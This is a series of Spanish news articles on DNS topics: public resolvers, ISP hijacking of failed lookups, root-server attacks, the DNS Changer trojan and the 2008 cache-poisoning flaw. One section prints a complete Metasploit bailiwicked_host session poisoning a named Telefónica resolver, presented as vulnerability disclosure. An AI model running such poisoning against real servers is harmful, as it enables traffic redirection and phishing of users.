Desde que se publicase la noticia de que Google lanzaba sus propios DNS, quería escribir un artículo en el que explicar por qué las bondades que nos prometen quizá no lo sean tanto, pero han sido unos comentarios en la reciente noticia del hijacking de Jazztel los que me han decidido.

No me voy a referir a temas de privacidad, permitir o no que Google (donde digo Google, digo OpenDNS, etc.) conozca las páginas por las que navegamos, si bien lo cierto es que estamos expuestos a ello constantemente, pero ese es otro asunto y cada uno decidirá. Me voy a centrar en la cuestión puramente técnica, por qué los DNS de nuestro operador son más rápidos directa e indirectamente.

A la hora de resolver un dominio la velocidad es muy importante. Unas milésimas de segundo más o menos, multiplicadas por todas las peticiones que se hacen, pueden marcar una diferencia de varios segundos a la hora de cargar una página web. Google nos quiere vender que sus servidores son muy rápidos pues están conectados a muchos operadores de todo el mundo. Y es cierto, seguramente sus servidores resuelvan los nombres muy rápidamente, por no hablar de sus cachés con refresco automático, todo un avance que no tardarán en implementar el resto de servidores DNS. El problema es que el tiempo que ellos tarden en resolver un nombre es realmente el menos importante. Lo principal, y aquí viene el problema, es el tiempo que tarda la consulta en llegar desde nuestro equipo a sus servidores y la respuesta de vuelta a nosotros. Si nos encontramos en España, las consultas a los DNS de Google se responderán desde algún datacenter en el centro de Europa. En cambio, los de nuestro operador nos atienden sin salir de nuestra red, mucho más cerca sin duda, y más rápido por lo tanto.

Pongamos un ejemplo en el escenario más desfavorable: haremos dos peticiones simultáneas, una a Google y otra a nuestro operador. Suponemos que el primero tiene el dominio en caché, así que no necesita consultarlo. Por contra, nuestro operador tendrá que resolver la petición antes de entregárnosla. Si comparamos el tiempo que tardan los paquetes UDP en llegar a Google y volver, con lo que tardan en llegar a nuestro ISP, resolver el dominio y volver a nosotros, tendríamos las dos respuestas prácticamente a la vez. Y eso en el peor de los casos.

Pero no es todo. Muchas páginas web actuales, redes sociales, periódicos digitales y muchas otros sitios que todos visitamos, con niveles de tráfico elevados, utilizan lo que se conoce como CDN. Esto no es otra cosa que una red de servidores repartidos por todo el mundo que atienden nuestras peticiones desde el lugar más próximo, detectando nuestra situación por medio de la IP, de tal forma que la carga de las páginas sea muy rápida, estemos en España o en Australia, pues nos atenderán probablemente sin salir del país. Quizá la empresa de CDN más conocida sea Akamai, pero no es la única. Por poner un ejemplo, Telefónica tiene servidores de Akamai alojados en su propia red. Lo mismo sucede con RedIRIS, la red que conecta las universidades españolas. De esta forma, si hacemos una consulta de un dominio (por ejemplo, www.spain.info, alojado en Akamai) a los DNS de Telefónica, nos devuelven una IP del tipo 194.224.X.X, perteneciente a la propia Telefónica. La carga de la página sin salir de la red del operador es muy rápida por el mismo motivo expuesto arriba. Sucede lo mismo desde cualquier universidad de España, en este caso 130.206.X.X. Desde otros operadores obtendremos resultados similares, con servidores alojados en distintos lugares y redes de nuestro país, según los acuerdos de peering y otros factores. Ahora haremos la misma prueba con los servidores de Google y OpenDNS. Desde los primeros, la IP es 92.122.X.X, situada en Alemania. Para los últimos, 213.155.X.X, del Reino Unido. Nos hacemos una idea de dónde están los servidores de cada empresa. ;)

Podéis realizar vosotros mismos las pruebas anteriores de la siguiente manera: para calcular el tiempo de respuesta, desde Linux, teclearemos dig bandaancha.eu @8.8.8.8 (Google), dig bandaancha.eu @80.58.61.250 (Telefónica), etc.; para ver la dirección en la que resuelve la dirección de ejemplo, en Windows, nslookup www.spain.info 8.8.8.8 y nslookup www.spain.info 80.58.61.250. En Linux, con los mismos comandos de antes veremos las IPs. Se puede probar con los DNS de vuestro operador y luego hacer unas trazas a las IPs en cuestión para ver cuáles están más cerca o son más rápidas.

Con todo esto, vemos como utilizar unos servidores DNS próximos a nosotros (los de nuestro propio operador en este caso) es más rápido, tanto directamente resolviendo peticiones como indirectamente a la hora de navegar.

Foto: Home Network de Leonardo Rizzi

La incidencia en el servicio DNS de Telefónica ha derivado en una avalancha de problemas que afectan a clientes de otros proveedores. La razón se encuentra en la nueva configuración de los servidores DNS, que ya no son accesibles desde fuera de la red de la operadora.

Durante años, los usuarios hemos configurado todo tipo de dispositivos con las DNS de Telefónica, que siempre han sido públicas y han estado abiertas a resolver peticiones desde cualquier punto de la red. Routers ADSL, ordenadores e incluso servidores dedicados tiran de los DNS de Telefónica para resolver las direcciones.

Hace un par de días Telefónica sufrió una incidencia en el servicio DNS. Clientes de la operadora de diversas zonas del país reportaban errores en la resolución de nombres, pero el problema no afectaba a todo el mundo por igual. Al parecer, en las últimas 48 horas, Telefónica ha ido limitando el acceso a sus diversos servidores DNS, autorizando sólo los rangos de IP que le pertenecen. Es posible que durante este proceso, algunos clientes legítimos se quedarán sin poder acceder por pertenecer a rangos secundarios.

Las DNS de Telefónica ya no son públicas

La incidencia ha quedado resuelta, pero ahora hay una segunda avalancha de afectados. Son los usuarios que se conectan a internet a través de otros proveedores pero que utilizan las DNS de Telefónica para navegar. Hasta ahora esto no representaba ningún problema, pero desde ayer a las IP ajenas a la red de Telefónica ya no se les permite utilizarlos. El problema ha llegado a afectar al servicio de asistencia técnica de otros operadores, incrementando el número de llamadas de clientes con problemas de navegación, como nos confirma una de las operadoras afectadas.

Todos los servidores DNS de Telefónica han quedado configurados para rechazar las peticiones de resolución de nombres que proceden de fuera de su red y este cambio parece que será permanente. De modo que no queda otro remedio para todos los usuarios de otros operadores que reconfigurar su router u ordenador modificando los DNS.

DNS alternativas

El analizador DNS de bandaancha.eu no es un simple listado de servidores, sino que analiza de forma activa cada pocos minutos la disponibilidad y el tiempo de respuesta de los DNS de las principales operadoras. Puede resultar muy útil para seleccionar los servidores más adecuados. Recuerda que es preferible utilizar los de tu operador y como último recurso, siempre tienes las DNS de Google.

Recomendado:Cómo cambiar los DNS

Ono cambia la configuración de sus servidores DNS para que redirijan a un buscador cuando el dominio introducido por el usuario en la barra de direcciones del navegador no exista. La operadora se convierte, junto a Yacom y Jazztel, en el tercer proveedor de internet que realiza esta práctica, conocida como DNS Hijacking.

El argumento de las operadoras es que de esta forma se mejora la experiencia de uso de los usuarios cuando surge un error en la navegación. En realidad, el servicio resulta poco práctico, puesto que los resultados ofrecidos por el buscador son en inglés y son poco relevantes para una persona en España. El nuevo comportamiento de los servidores constituye además una violación del protocolo DNS, que obliga a responder con un NXDOMAIN (Non-Existent Domain) cuando el dominio no existe.

De cualquier forma, tanto en el caso de Jazztel como el de Ono, el impacto del cambio de comportamiento de los DNS es mínimo, ya que sólo interceptan dominios que contengan al menos dos 'w' en los dominios de segundo o mayor nivel.

La IP de Ono que intercepta el error es la 81.200.64.183, donde se aloja el buscador dnssearch.ono.es/subscribers

josh@josh-desktop:~$ nslookup www.dnshijackingsucks.com 62.42.63.52
Address: 81.200.64.183

josh@josh-desktop:~$ nslookup dummywwdummy.mail.dnshijackingsucks.com 62.42.63.52
Address: 81.200.64.183

Su comportamiento es correcto para peticiones de resolución de dominios de primer nivel o inferiores que no contengan dos 'w' seguidas.

josh@josh-desktop:~$ nslookup dnshijackingsucks.com 62.42.63.52
** server can't find dnshijackingsucks.com: NXDOMAIN

josh@josh-desktop:~$ nslookup mail.dnshijackingsucks.com 62.42.63.52
** server can't find mail.dnshijackingsucks.com: NXDOMAIN

En el caso de Jazztel, una de sus DNS se reservó para aquellos usuarios que necesiten el funcionamiento normal de la resolución de nombres. En el caso de Ono, por el momento sólo intercepta dominios el servidor secundario, aunque Ono nos confirma que se extenderá al resto.

En este caso la solución pasa por usar servidores ajenos a los de Ono, como los que aparecen el analizador DNS u otros genéricos, como los DNS de Google u OpenDNS.

Un análisis de ThousandEyes revela a Google como el que tiene el servidor público global de DNSmás rápido. Aunque los resultados varían por paises y no se han tenido en cuenta los servidores de los operadores, en España también es la compañía con sede en Mountain View la ganadora.

Para las pruebas han tenido en consideración accesos a varios servicios DNS que hay en Internet, entre los cuáles estaban OpenDNS, Dyn o Ultra, además de la mencionada Google.

Midiendo lo que tardaba en servir cada servidor DNS la respuesta de aproximadamente 3.000 peticiones procedentes de todo el mundo (con un mínimo de 50 por país), se ha elaborado un interesante mapa que reúne los proveedores que han obtenido menor latencia en cada país.

En el experimento, que se basa en la media durante a lo largo de 24 horas, se ha supuesto que el nombre que se pide resolver está ya en la caché del servidor, ya que de no estarlo, se debería remitir la petición hacia arriba en la jerarquía del protocolo DNS, donde otros servidores (root-servers o encargados de un TLD) son los que indican donde puede solicitar la información, para luego remitirla al usuario original. Mientras todo esto sucede, se va incrementando el tiempo de respuesta.

Los DNS de Google son los más rápidos para España

Google ha sido el que mejores medidas ha tenido en España, y aunque no hay datos detallados por país excepto para Estados Unidos, en general ha sido también esta empresa la que ha logrado mejores resultados, colocando sus dos servidores (8.8.8.8 y 8.8.4.4) por encima de todos los demás con una buena diferencia. Cada uno de los servidores consiguieron ser los más rápidos en un 20% de los casos aproximadamente logrando latencias medias de 61,1 y 61,2 milisegundos.

Curiosamente, en Estados Unidos Google fue el que peores resultados consiguió colocándose último, mientras que OpenDNS ganó claramente.

Si bajamos un poco en el ránking que reune los datos medidos de todo el mundo, Dyn 1 (216.146.35.35) se coloca como el tercero en discordia al dominar buena parte del este de Europa, con una latencia media de 94,6 ms y siendo el más rápido en el 13,5% de los casos.

Para encontrarnos a los servidores OpenDNS (208.67.220.220 y 208.67.222.222) hay que bajar hasta la cuarta y quinta posición, con unas tasas de 84,6 y 85,5 ms con dominio claro de Norteamérica y parte de Europa. A pesar de tener una latencia menor que Dyn1, consiguieron ser menos veces (11,8 y 10,9%) los más rápidos en servir las respuestas a las peticiones.

Como bien indican en el artículo, no se han tenido en cuenta los servidores DNS que tienen los operadores y que se configuran por defecto en los routers de sus clientes, ya que primero querían centrarse en los globales para dejar esta tarea para un posterior estudio.

• Ver Analizador DNS de Bandaancha.eu

Preocupación en el núcleo de Intenet por el gran aumento de tráfico en varios servidores raíz del servicio DNS, básicos para que la resolución de nombres en Internet funcione sin problemas. Por el momento no se han dado situaciones dramáticas de denegación de servicio, aunque están investigando el origen de este fenómeno, que recuerda a anteriores ataques.

DNS (Domain Name System) es uno de los protocolos fundamentales para que Internet funcione tal y como la conocemos hoy en día, ya que permite traducir un nombre (por ejemplo, bandaancha.eu) en la IP del servidor, que es donde finalmente el navegador hace la petición web.

El servicio se basa, en su nivel más alto, en trece servidores raíz (llamados root-servers, con letras de la A a la M), administrados por diferentes entidades: universidades, organismos públicos de Estados Unidos, empresas, o autoridades de asignación de direcciones IP como ICANN o RIPE. A ellos son a los que recurren los servidores DNS intermedios cuando no tienen en su caché la IP del nombre.

Varios de estos servidores han visto desde las 18 horas del día 28 (horario español) un aumento significativo y repentino del tráfico que soportan, provocando que en algún caso no puedan contestar a todas las peticiones realizadas. Ahora mismo, el fenómeno continúa dándose, especialmente en cuatro de los trece servidores, aunque en las últimas mediciones parece que vuelve la normalidad.

El caso más destacable es el del servidor B-Root (el segundo por abajo en la gráfica), donde se están dando momentos en los que entre el 66% y el 90% de las solicitudes no se han podido atender.

El resto de servidores con gráficas pintadas considerablemente de color amarillo son el C, E y G, que indica que menos de un 66% de las solicitudes no tuvieron respuesta. Queda fuera del funcionamiento ideal, pero es la situación menos grave.

RIPE ha anunciado que también su K-Root ha visto multiplicado por cuatro su tráfico habitual, aunque en este caso no se ha visto alterado su funcionamiento de forma significativa. Como vemos en la primera gráfica, el aumento significó pasar de aproximadamente 15.000 peticiones por segundo a más de 65.000 a las 3.30 de la madrugada del día 29.

En este caso, el K-Root es un servidor distribuido en varias localizaciones. La subida de peticiones se hizo al centro de Amsterdam, aunque posteriormente los administradores han redirigido este volumen de tráfico al de Londres para analizar su origen. Desde ayer a las 21 horas aproximadamente, parece que en el K-Root los valores han vuelto a la normalidad.

Aunque no se puede hablar todavía de un ataque coordinado contra uno de los corazones de Internet, la forma tan puntual y aparentemente coordinada con la que el tráfico hacia estos servidores ha aumentado hace recordar casos anteriores.

Ya hubo dos ataques importantes a estos servidores en la anterior década

Hace ya unos años, en 2002, hubo un ataque DDoS que consiguió hacer que nueve de estos servidores no pudieran responder a un gran portentaje de las peticiones, causando bastantes problemas. En total, se usó una fuerza bruta de peticiones que sumaban en total 900 Mbps.

En 2007 ocurrió un evento similar, aunque con efectos bastante más débiles, ya que sólo pudieron hacer sufrir a dos de los servidores (G-Root y L-Root), mientras que los F y M sólo reportaron un tráfico mayor del habitual. En esta ocasión, se utilizó una red de ordenadores infectados zombie, también conocida como botnet.

En cualquier caso, habrá que esperar a que los expertos que están trabajando analizando esta situación den una opinión al respecto a lo que ha pasado en varios servidores .

Google y OpenDNS, dos de los servicios públicos de resolución de nombres más populares en la red, han propuesto e implementado una extensión del protocolo DNS que permitirá mejorar la velocidad de navegación cuando se utilicen recursos de una red de distribución de contenidos.

Las grandes empresas de distribución de contenidos tienen servidores repartidos por todo el mundo en sistemas llamados Content Delivery Network (CDN). Un buen ejemplo de esto es, por ejemplo, Akamai, que sirve de almacén de ficheros para terceras empresas.

Si suponemos que las CDN tienen un servidor exclusivo para dar servicio a un país con todos los contenidos disponibles replicados, la gran ventaja que se obtiene respecto a tenerlo todo centralizado en una única ubicación es que en teoría se minimiza el tiempo de acceso a los contenidos (la latencia) ya que, por ejemplo un usuario en Sevilla, en lugar de comunicarse con la central de Estados Unidos, lo hará con el servidor que tienen en España.

Para conseguir esto, las CDN utilizan un sistema de DNS que, en base a la dirección IP del ordenador que realiza la petición, puede averiguar su procedencia y responder con la IP del servidor de contenidos más cercano a ese país o zona.

Sin embargo, esto deja de ser ideal cuando no son pocos, y cada vez son más, los usuarios de la red que no utilizan las DNS que les proporciona su operador y configuran en su ordenador unas públicas, como las de Google u OpenDNS, por nombrar los dos ejemplos implicados en el artículo.

Funcionamiento original de DNS

Originalmente, y aunque se puede poner algún pequeño atajo, DNS funciona de este modo:

• Escribimos en la barra del navegador la página web bandaancha.eu.
• El ordenador, que no sabe qué IP corresponde al nombre, solicita una traducción al servidor DNS (1) que tiene configurado (el del operador, u otro).
• Si suponemos que este servidor tiene su caché vacía, tendrá que pedir ayuda a los llamados root-servers, que le indicarán cuál es el servidor encargado de todo el espacio .eu de direccionamiento (2).
• Luego, se repite la operación. En este caso, el servidor DNS que tenemos configurado interrogará (3) al que se encarga de todos los nombres .eu sobre el servidor que tiene bajo su control el nombre bandaancha.eu y sus subdominios (p. ej. linebenchmark.bandaancha.eu).
• Finalmente, se realiza la última solicitud DNS a este último servidor, que devolverá la dirección IP de bandaancha.eu (4) y se pasará al ordenador que originó la consulta en primera instancia (5), para finalmente abrir la sesión HTTP y descargar la página web (6).

Como podéis ver, se trata de un proceso bastante complejo aunque sucede de forma transparente a ojos del usuario de la red.

Mejorando el rendimiento de DNS al acceder a CDNs

El problema de los sistemas DNS para CDN tradicionales que mencionábamos es el siguiente: como la negociación DNS para obtener la IP del destino deseado la realiza el servidor intermedio, las CDN detectan como origen de la petición los servidores DNS de Google, que están en Estados Unidos. Ante esto, la CDN responde con la IP de sus servidores para Estados Unidos y no para España. Perdemos rendimiento porque se incrementa la latencia.

Para solventarlo, se ha ideado una modificación del protocolo DNS que aprovecha las extensiones propuestas en la RFC 2671 para dotar de mayor inteligencia a la resolución de nombres.

La idea, que recibe el nombre de The Global Internet Speedup y todavía se encuentra en fase de borrador, se ayuda en la dirección original del cliente, que añade como un campo de datos mása la petición ("edns-client-subnet").

Aunque realmente, para mantener la privacidad del usuario lo que se envía es parte de la dirección IP pública del usuario (se eliminan bits del final), con lo que en lugar de mandar 1.2.3.4 (si esta fuese la IP pública del usuario), se trunca por 1.2.3.0 (todos los servidores DNS intermedios podrán leer esta información), acompañada por una máscara de red de 24 bits.

Con ello, no importa que se utilicen las DNS de Google, ya que al ir la información del usuario adjunta como datos en la petición, si el servidor destino es compatible con esta nueva iniciativa podrá determinar correctamente desde dónde se quiere acceder realmente a sus contenidos y contestar con el servidor más cercano al cliente, minimizando la latencia y, por tanto, mejorando la velocidad de navegación.

Para aquellos que sean más recelosos de su privacidad, se puede configurar para que no se envíe ninguna parte de la dirección IP del usuario (se envía 0.0.0.0/0). En estos casos entendemos que el servicio funcionaría como las DNS tradicionales en CDN. Es decir, al no tener pista alguna sobre su procedencia real, la CDN respondería con la IP más cercana al servidor DNS que hace la petición.

Por el momento, tanto Google como OpenDNS ya han instalado en sus sistemas esta nueva función, que han desarrollado junto a CDNetworks, EdgeCast, BitGravity y la propia Akamai, que ha echado una mano en la redacción del borrador.

Aunque todavía parece no estar claro cuánto impacto tendrá esto en el rendimiento real de la red, no es para nada descabellado que el IETF acabe adoptando esta técnica como un estándar que podrían adoptar también operadores, ya sea en su versión actual de borrador, o en la final.

Si queréis más información, podéis leer el borrador íntegro (en inglés).

Tan solo dos años después de su puesta en marcha, las DNS públicas de Google se han convertido en el servicio de resolución de nombres más utilizado de la red, respondiendo a 70.000 millones de peticiones cada día procedentes de usuarios de todo el planeta.

Google publica en su blog algunos datos sobre su servicio DNS, que actualmente utilizan más de 10 millones de usuarios en todo el mundo. El 70% del trafico que reciben proviene del exterior de los EEUU, gracias a los servidores que tiene distribuidos en América, Europa y Asia, incluyendo Australia, India, Japón y Nigeria.

El propósito declarado de Google al mantener esta infraestructura de servidores es hacer la web más rápida. Con esa intención, la compañía del buscador también ha propuesto una mejora del estándar DNS, que actualmente está estudiando la IETF para su estandarización, con el que se pretende mejorar la resolución de servidores pertenecientes a redes de distribución de contenidos (CDN), de forma que entreguen la IP del servidor más próximo al usuario.

Las DNS de Google son una alternativa a los DNS oficiales que nos suministra nuestra operadora, aunque no siempre son la mejor elección.

El próximo 8 de marzo se apagarán los servidores DNS que las autoridades mantienen para dar servicio a los miles de equipos que continúan afectados por el troyano DNS Changer. Para facilitar su detección, INTECO-CERT presenta una herramienta que comprueba el estado de los DNS utilizados por nuestro ordenador.

DNS Changer fue diseñado para, una vez dentro del equipo infectado, cambiar los servidores DNS del sistema operativo por unos propios, en manos de la red que controla el troyano. El segundo paso es acceder al router, probando credenciales por defecto, para cambiar la configuración DNS de forma que cualquier ordenador conectado a la red local utilice los DNS fraudulentos. Otra variante de este ataque afecta a algunos modelos de router Comtrend de Movistar.

Durante años, los creadores del troyano se han estado beneficiando de los ingresos publicitarios procedentes de las páginas web a las que dirigían a los usuarios los DNS bajo su control. Desde el pasado 8 de noviembre, tras la intervención del FBI, estos servidores son mantenidos por las autoridades, ya que aún hay miles de equipos infectados que dependen de ellos. Serán clausurados finalmente el próximo 8 de marzo.

Para facilitar la detección de equipos afectados, el centro de respuesta a incidentes de seguridad de INTECO ha puesto en marcha la versión en castellano de la web dns-changer.eu, desde donde cualquier usuario puede realizar una rápida comprobación de sus servidores DNS, verificando que no emplea los introducidos por DNS Changer.

Si el resultado de la prueba es positivo, puedes seguir estos pasos para restaurar el sistema.

El próximo 31 de marzo es la fecha fecha fijada para la Operation Global Blackout, un ataque coordinado supuestamente por Anonymous, que pretende apagar la red al dejar fuera de juego a los servidores DNS maestros que sustentan los nombre de dominios en Internet. Se trata de un objetivo muy difícil, dada su arquitectura distribuida.

La función de estos servidores es servir de fuente primaria para que el resto de DNS de resolución, como los que mantienen los ISP para sus clientes, puedan consultar y actualizar su caché con la correspondencia entre nombres de dominio y direcciones IP.

Las instrucciones del ataque firmado por Anonymous se detallan en un pastebin que lista sus 13 direcciones IP. En el se asegura que han desarrollado una herramienta denominada Reflective DNS Amplification DDoS, capaz de saturar un servidor a base de peticiones de resolución. El nombre del comando a ejecutar tanto en Windows como en Linux es ramp.

El ataque se basa en mandar peticiones a servidores DNS públicos con determinada vulnerabilidad. Estas peticiones tendrán falseada la dirección IP de origen, gracias a que el protocolo DNS utiliza transporte UDP en el que resulta más fácil hacer spoofing. La IP falsa corresponderá a uno de los 13 servidores raíz, de forma que cuando el servidor DNS vulnerable responda, estará enviando paquetes a los root servers. Puesto que el tamaño de una petición DNS es mucho más pequeño que el de su respuesta, los promotores esperan conseguir un efecto de amplificación, de forma que ocupando un pequeño ancho de banda hacia el servidor DNS vulnerable, se genere gran cantidad de tráfico hacia los root servers.

13 servidores replicados por todo el planeta

El principal obstáculo que se encontrará la operación Global Blackout es que cada IP de los 13 servidores raíz está respaldada, gracias al direccionamiento anycast, por numerosos servidores distribuidos globalmente, de forma que no son uno sino varios los equipos que deberán saturarse para conseguir el efecto deseado.

Por ejemplo, el registro regional para Europa, RIPE, mantiene el servidor raíz K, con entre 10 y 15 mil peticiones por segundo, que son gestionadas por 18 instancias repartidas por varios continentes que además son capaces de repartirse la carga dinámicamente entre ellas en función de los recursos de cada una. Esto supone que el ataque distribuido de Anonymous se dirige contra un objetivo que también es distribuido, lo que hace que sea muy complicado dejar fuera de juego a está infraestructura básica para el funcionamiento de la red.

Desde que se presentaran hace ya casi cinco años, las DNS de Google se han convertido en el servicio de resolución de nombres más popular, por la facilidad para recordarlas y su rapidez de respuesta, sobre todo desde que tienen servidores locales en España.

8.8.8.8 y 8.8.4.4 son utilizadas diariamente por millones de internautas para navegar por la red y esto otorga a Google una posición privilegiada para saber a que servicios accede el público. Conscientes de que esto puede levantar suspicacias, la compañía del buscador explica que datos almacena, por qué motivo y durante cuanto tiempo.

Los servidores almacenan dos conjuntos de datos. El primero, que contiene los datos más sensibles, como la dirección IP del usuario o el dominio resuelto, tan solo se almacena durante 24 a 48 horas. Su función es prevenir ataques DDoS cuando detecta demasiadas peticiones desde una misma IP o detectar cuando un dominio está caído para un rango de IP's.

Durante las siguiente dos semanas, tan solo se mantiene información acerca de la geolocalización del usuario, con el fin de detectar abusos. Finalmente solo una muestra aleatoria de todos los logs se guarda de forma permanente.

Google asegura que nunca interrelaciona los datos de los servidores DNS con los que le proporcionan otros servicios suyos.

Resumiento, entre los datos más relevantes que almacena Google cuando utilizamos sus DNS se encuentran los siguientes: IP, proveedor de internet y geolocalización y en cualquier caso durante un tiempo limitado que no supera las dos semanas.

developers.google.com/speed/public-dns/privacy

Según parece, se ha detectado un agujero de seguridad en todos los servidores DNS a nivel mundial, que afecta a la manera, en que estos servidores DNS trabajan, de forma que, toda la infraestructura de Internet estaba comprometida.

Un servidor DNS, trabaja convirtiendo la dirección del navegador web (por ejemplo), en una dirección IP que puede ser entendida por los protocolos de Internet. Esto es: si tecleáis en el navegador la página web www.elmundo.es (por poner un ejemplo), el servidor DNS traducirá esa dirección web, por su equivalente en dirección IP, es decir, lo traducirá por la dirección 193.110.128.200.

Sin embargo, con ese agujero de seguridad detectado, resulta que se puede variar la dirección IP que el servidor DNS entrega al equipo que pide la traducción, y como resultado de esta acción, la página web, no será la que nosotros queremos ver, sino otra completamente distinta. Este agujero de seguridad, comprometía muy seriamente la integridad de Internet, ya que, si alguien con malas intenciones, se hubiera dado cuenta de este fallo, se podrían haber dado innumerables casos de phising, sin que nadie se diera cuenta.

Por poner un ejemplo.... sería como si quisierais acceder a la página de google (www.google.es), y el navegador os mostrara la página de bandaancha (bandaancha.eu). Ahora imaginaos, si en vez de ese ejemplo, se cambian las direcciones de la banca electrónica, por otras para atrapar las claves de acceso...., y es sólo uno de los innumerables ejemplos que se podrían poner.

La verdad es que hay que dar un 10 a todas las compañías de software (Microsoft, Sun, Cisco, etc), ya que han estado trabajando al unísono todas juntas, para poder solucionar este problema lo antes posible.

(Original)

Actualización:Listado de DNS vulnerables y un documento sobre como modificar las DNS de tu ordenador.

Desde el día 8 de este mes se viene especulando sobre los detalles de la vulnerabilidad VU#800113, un fallo que ha recorrido como un calambre la espina dorsal de la red, los resolvedores de nombres de dominio DNS.

Hace unos días se filtraron las especificaciones técnicas y no ha habido que esperar mucho para que aparezca en la red herramientas que permitan a cualquier persona desde su ordenador, sacar provecho de la vulnerabilidad.

Algo más de dos semanas después del anuncio y con los parches en la calle, hemos querido saber si los proveedores de internet españoles han hecho los deberes.

El servidor DNS ns1.telefonica-data.com es uno de los más utilizados por los usuarios que navegan en España. Lo hemos interrogado y esto es lo que nos ha contado.

 josh@josh:~$ dig ns1.telefonica-data.com
 ...
 ;; ANSWER SECTION:
 ns1.telefonica-data.com. 300 IN A 194.224.52.36
 ...

Tenemos su IP.

 _ _ _ _ | | | | (_) |
 _ __ ___ ___| |_ __ _ ___ _ __ | | ___ _| |_
 | '_ ` _ \ / _ \ __/ _` / __| '_ \| |/ _ \| | __|
 | | | | | | __/ || (_| \__ \ |_) | | (_) | | |_
 |_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__|
 | |
 |_|
 =[ msf v3.2-release
 + -- --=[ 298 exploits - 124 payloads
 + -- --=[ 18 encoders - 6 nops
 =[ 65 aux
 msf > use spoof/dns/bailiwicked_host
 msf auxiliary(bailiwicked_host) > set RHOST 194.224.52.36
 RHOST => 194.224.52.36
 msf auxiliary(bailiwicked_host) > check
 [*] Using the Metasploit service to verify exploitability...
 [*] >> ADDRESS: 195.53.204.135 PORT: 57190
 [*] >> ADDRESS: 195.53.204.135 PORT: 57190
 [*] >> ADDRESS: 195.53.204.135 PORT: 57190
 [*] >> ADDRESS: 195.53.204.135 PORT: 57190
 [*] >> ADDRESS: 195.53.204.135 PORT: 57190
 [*] FAIL: This server uses static source ports andis vulnerable to poisoning

Lo primero que hemos observado es que los administradores de sistemas si han hecho algo. Al enviarle una petición DNS que no tiene cacheada, debe interrogar a otros DNS remotos. No lo hace desde su misma IP, si no desde otros servidores que Telefónica ha habilitado. Solo hace falta averiguar cual es la IP del servidor que realmente hace la petición para hablar con el.

 msf auxiliary(bailiwicked_host) > set RHOST 195.53.204.135
 RHOST => 195.53.204.135
 msf auxiliary(bailiwicked_host) > check
 [*] Using the Metasploit service to verify exploitability...
 [*] >> ADDRESS: 195.53.204.135 PORT: 57190
 [*] >> ADDRESS: 195.53.204.135 PORT: 57190
 [*] >> ADDRESS: 195.53.204.135 PORT: 57190
 [*] >> ADDRESS: 195.53.204.135 PORT: 57190
 [*] >> ADDRESS: 195.53.204.135 PORT: 57190
 [*] FAIL: This server uses static source ports and is vulnerable to poisoning
 msf auxiliary(bailiwicked_host) > set HOSTNAME dnspoisoning.bandaancha.eu
 HOSTNAME => dnspoisoning.bandaancha.eu
 msf auxiliary(bailiwicked_host) > set NEWADDR 89.248.99.18
 NEWADDR => 89.248.99.18
 msf auxiliary(bailiwicked_host) > set SRCPORT 0
 SRCPORT => 0
 msf auxiliary(bailiwicked_host) > run
 [*] Switching to target port 57190 based on Metasploit service
 [*] Targeting nameserver 195.53.204.135 for injection of dnspoisoning.bandaancha.eu. as 89.248.99.18
 [*] Querying recon nameserver for bandaancha.eu.'s nameservers...
 [*] Got an NS record: bandaancha.eu. 172186 IN NS ns1.vectrice.com.
 [*] Querying recon nameserver for address of ns1.vectrice.com....
 [*] Got an A record: ns1.vectrice.com. 171997 IN A 89.248.99.18
 [*] Checking Authoritativeness: Querying 89.248.99.18 for bandaancha.eu....
 [*] ns1.vectrice.com. is authoritative for bandaancha.eu., adding to list of nameservers to spoof as
 [*] Got an NS record: bandaancha.eu. 172186 IN NS ns2.vectrice.com.
 [*] Querying recon nameserver for address of ns2.vectrice.com....
 [*] Got an A record: ns2.vectrice.com. 171997 IN A 89.248.99.18
 [*] Checking Authoritativeness: Querying 89.248.99.18 for bandaancha.eu....
 [*] ns2.vectrice.com. is authoritative for bandaancha.eu., adding to list of nameservers to spoof as
 [*] Got an A record: ns2.vectrice.com. 171997 IN A 89.248.99.18
 [*] Checking Authoritativeness: Querying 89.248.99.18 for bandaancha.eu....
 [*] ns2.vectrice.com. is authoritative for bandaancha.eu., adding to list of nameservers to spoof as
 [*] Attempting to inject a poison record for dnspoisoning.bandaancha.eu. into 195.53.204.135:57190...
 [*] Sent 1000 queries and 30000 spoofed responses...

El resto de la película no es apta para todos los públicos. Realmente lo que hemos hecho es inyectarle un información falsa sobre el dominio dnspoisoning.bandaancha.eu que hemos creado para la ocasión. Sus DNS autoritativos apuntan a la IP
89.248.99.20 y el exploit lo que hace es envenenar el servidor con información falsa de modo que apunte a la IP
89.248.99.18.

Desde ayer, el analizador de servidores DNS realiza pruebas diarias a diferentes servidores de operadoras españolas y muestra su estado.

Desde que los detalles de la vulnerabilidad DNS dejaron de ser un secreto, actualizamos nuestro analizador de servidores DNS, que lista los servidores que las operadoras españolas proporcionan a sus clientes, para que informara acerca de si un servidor es vulnerable o no.

Cuando se puso en marcha, lo primero que nos encontramos es con que la mitad de los servidores españoles estaban afectados. En el momento de la publicación de la herramienta, 24 de los 50 servidores analizados eran vulnerables a un ataque de DNS Poisoning. Destaca el hecho de que entre los vulnerables se encontrasen los del proveedor de Internet más importante del país por numero de usuarios, Telefónica. Para demostrarlo, simulamos una contaminación de uno de los servidores de la operadora utilizando el primer exploit que se publicó.

A raíz de esta denuncia, el Grupo de Análisis y Gestión de Incidentes de Seguridad en Telefónica España, se puso en contacto con los responsables de bandaancha.eu, interesándose por el proceso llevado a cabo para identificar como vulnerables sus servidores. Técnicos de otros proveedores como Ono y BT (Arrakis) también se han puesto en contacto para cerciorarse de que sus servidores DNS no son vulnerables.

Desde entonces y a medida que se han sucedido las noticias, como la publicación de los detalles técnicos o la publicación del primer exploit, hemos visto como los operadores iban actualizando su software DNS.

Aunque tarde, los principales proveedores han hecho los deberes. Pero ¿que ocurre con Orange/Yacom y Tele2? A día de hoy los servidores DNS que resuelven los nombres de dominio por los que navegan sus clientes, siguen siendo susceptibles de ataques de pishing que exploten esta vulnerabilidad. ¿de quien será la responsabilidad si esto ocurre?

La compañía Infoblox señala a Telefónica y France Telecom como los principales culpables de la proliferación de routers domésticos que trabajan como open resolvers, atendiendo peticiones de resolución DNS desde el exterior de la red local. Según el informe DNS Survey 2009, un atacante puede multiplicar por 40 su capacidad para tumbar un servidor web con la colaboración silenciosa de miles de routers ADSL domésticos.

